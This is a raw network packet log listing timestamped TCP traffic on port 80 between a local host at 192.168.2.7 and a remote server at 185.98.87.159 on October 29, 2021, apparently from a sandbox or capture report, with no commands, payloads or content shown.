Oct 29, 2021 15:30:22.414839029 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.414859056 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414875984 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414907932 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414925098 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414936066 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.414942026 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414958000 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414974928 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414993048 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.414995909 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415004969 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415009975 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415025949 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415040016 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415043116 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415059090 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415075064 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415086031 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415091038 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415097952 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415152073 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415152073 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415169001 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415198088 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415226936 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415245056 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415260077 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.415280104 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415395975 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.415415049 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464560986 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464581013 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464598894 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464616060 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464633942 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464651108 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464664936 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464677095 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464689016 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464694977 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464723110 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464741945 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464752913 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464754105 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464771986 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464786053 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464808941 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464821100 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464833021 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464862108 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464864969 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464888096 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464910030 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.464916945 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464931011 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464972973 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.464993000 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.465020895 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.465039968 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.465148926 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.466259956 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466279030 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466295958 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466311932 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466327906 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466346979 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466454029 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.466527939 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.466665030 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466681957 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466698885 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466717005 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466773987 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466790915 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.466805935 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.466854095 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.467112064 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467128038 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467147112 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467161894 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467178106 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467186928 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.467194080 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467267036 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.467355967 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467372894 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467390060 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467434883 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.467463017 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467478991 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467494965 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467510939 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467526913 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467542887 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.467583895 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.467660904 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516278028 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516299009 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516311884 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516324997 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516338110 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516344070 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516350985 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516371012 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516387939 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516396046 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516403913 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516416073 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516429901 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516443968 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516447067 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516459942 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516468048 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516472101 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516485929 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516489029 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516499996 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516513109 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516525030 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516525984 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516532898 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516546011 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516558886 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516575098 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.516587973 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.516611099 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.517646074 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.517695904 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.517713070 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.517745972 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.517808914 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.517846107 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.517863035 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.517875910 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.517913103 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.518089056 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518105984 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518121958 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518137932 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518161058 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518177032 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518189907 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.518213987 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.518415928 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518433094 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518532038 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518548965 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518563032 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518575907 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518584967 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.518609047 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.518783092 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518802881 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518815041 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518827915 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518845081 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518858910 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518871069 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518872976 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.518883944 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.518897057 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.519134045 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.568573952 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568594933 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568608046 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568624973 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568644047 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568659067 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568675041 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568691969 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.568700075 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.568747044 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569286108 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569305897 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569340944 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569380045 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569394112 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569397926 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569413900 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569502115 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569509983 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569720984 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569740057 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569777966 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569812059 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569845915 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569856882 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569915056 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569932938 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569955111 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569955111 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569972038 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569988012 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.569999933 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.569999933 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570018053 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570034981 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570043087 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570050955 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570069075 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570084095 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570091009 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570095062 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570100069 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570128918 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570143938 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570158958 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570175886 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570192099 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570207119 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570210934 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570223093 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570245028 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570334911 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570353985 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570413113 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570429087 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570445061 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570449114 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570455074 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570462942 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570519924 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570826054 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570844889 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570858002 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570875883 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570907116 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:22.570908070 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.570996046 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.571465969 CEST	49820	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:22.622860909 CEST	80	49820	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.063327074 CEST	49826	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.115236998 CEST	80	49826	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.115369081 CEST	49826	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.115521908 CEST	49826	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.115549088 CEST	49826	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.167421103 CEST	80	49826	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.193500042 CEST	80	49826	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.193591118 CEST	49826	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.193763018 CEST	49826	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.239814997 CEST	49827	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.245497942 CEST	80	49826	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.291692972 CEST	80	49827	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.292190075 CEST	49827	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.292299032 CEST	49827	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.292433977 CEST	49827	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.344187021 CEST	80	49827	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.371845007 CEST	80	49827	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.373596907 CEST	49827	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.373851061 CEST	49827	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.425790071 CEST	80	49827	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.827778101 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.880183935 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:25.880297899 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.880443096 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:25.974247932 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016530037 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016593933 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016643047 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016673088 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.016695023 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016745090 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016793013 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016797066 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.016859055 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.016879082 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016952991 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.016998053 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.017004013 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.017056942 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.017103910 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069297075 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069358110 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069408894 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069417953 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069458961 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069498062 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069509983 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069561005 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069608927 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069610119 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069660902 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069703102 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069710016 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069761992 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069802046 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069811106 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069860935 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069902897 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069910049 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.069922924 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.069960117 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070008993 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070050001 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.070059061 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070110083 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070158958 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070169926 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.070209026 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070256948 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.070257902 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.070297003 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.122345924 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122401953 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122452021 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122503042 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122512102 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.122546911 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.122553110 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122603893 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122646093 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.122653008 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122703075 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122751951 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.122761965 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.122802019 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123137951 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123195887 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123195887 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.123248100 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123298883 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123305082 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.123343945 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.123348951 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123402119 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123447895 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.123466015 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123549938 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123600960 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.123601913 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123651981 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.123703003 CEST	49828	80	192.168.2.7	185.98.87.159
